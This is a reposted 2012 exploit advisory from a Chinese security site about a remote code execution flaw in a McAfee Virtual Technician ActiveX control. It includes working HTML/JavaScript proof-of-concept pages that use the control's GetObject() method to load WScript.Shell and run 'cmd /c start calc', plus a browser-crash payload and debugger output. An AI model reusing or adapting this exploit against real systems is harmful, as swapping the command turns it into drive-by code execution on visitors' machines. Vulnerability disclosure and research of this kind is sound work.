首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX GetObject() Exp
来源:vfocus.net 作者:rgod 发布时间:2012-05-02  

McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control
GetObject() Security Bypass Remote Code Execution Vulnerability

tested against: Microsoft Windows Vista sp2
                Microsoft Windows 2003 r2 sp2
                Internet Explorer 7/8/9

             

product homepage: http://www.mcafee.com/it/downloads/free-tools/virtual-technician.aspx

file tested: MVTInstaller.exe

background:

the mentioned product installs an ActiveX control with
the following settings:

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll
ProgID: MVT.MVTControl.6300
CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}
Implements IObjectSafety: Yes
Safe for Scripting (IObjectSafety): true
Safe for Initialization (IObjectSafety: false

According to IObjectSafety interface, this control is
safe for scripting, then Internet Explorer will allow
scripting from remote.

Vulnerability:

this control offers the vulnerable GetObject() function,
see typelib:

...
/* DISPID=3 */
/* VT_VARIANT [12] */
function GetObject(
        /* VT_VARIANT [12] [in] */ $in_dwObjectID
        )
{
        /* method GetObject */
}
...

by specifing the ProgID of an arbitrary class from
the underlying operating system, with no regards for browser security,
is possible to load ex. the WScript.Shell class.
The returned object now offers the Exec() method
which can be used to launch operating system commands.

Example of attack:

<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject("WScript.Shell");
x.Exec("cmd /c start calc");
</script>


it is also possible to crash the browser
by specifying an arbitrary memory address


<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject(0x0c0c0c0c);
</script>


example crash:
eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344
eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msvcrt!wcslen+0x8:
77bd8efa 668b08          mov     cx,word ptr [eax]        ds:0023:0c0c0c0c=????

debugger shows an access violation while reading 0x0c0c0c0c,
this could be also exploitable but not demonstrated at the time of this report

As attachment, proof of concept code which executes calc.exe, then crash IE.

 

additional note:
0:010> lm -vm mvt
start    end        module name
03450000 034b8000   MVT        (deferred)            
    Image path: D:\Program Files\McAfee\Supportability\MVT\MVT.dll
    Image name: MVT.dll
    Timestamp:        Thu Jan 12 07:37:26 2012 (4F0E7FA6)
    CheckSum:         0006C308
    ImageSize:        00068000
    File version:     6.3.0.1911
    Product version:  6.3.0.1911
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04e4
    CompanyName:      McAfee, Inc.
    ProductName:      McAfee Virtual Technician
    InternalName:     MVT.dll
    OriginalFilename: MVT.dll
    ProductVersion:   6.3.0.1911
    FileVersion:      6.3.0.1911
    FileDescription:  McAfee, Inc.
    LegalCopyright:   ©2011 McAfee, Inc. All Rights Reserved.

<!--
McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control
GetObject() Security Bypass Remote Code Execution PoC

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll
ProgID: MVT.MVTControl.6300
CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}
Implements IObjectSafety: Yes
Safe for Scripting (IObjectSafety): true
Safe for Initialization (IObjectSafety: false

//rgod
-->
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject("WScript.Shell");
x.Exec("cmd /c start calc");
var y = obj.GetObject(0x0c0c0c0c);
</script>

//rgod


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Remote-Anything Player 5.60.15
·SAMSUNG NET-i Viewer 1.37 SEH
·WebCalendar 1.2.4 Pre-Auth Rem
·McAfee Virtual Technician MVTC
·Mikrotik's Winbox Remote Code
·LAN Messenger <= v1.2.28 Denia
·Nokia PC Suite Video Manager 7
·Mikrotik Router Denial of Serv
·CPE17 Autorun Killer <= 1.7.1
·Solarwinds Storage Manager 5.1
·Discuz! X2.5 远程代码执行漏洞
·Parallels PLESK 9.x Insecure P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved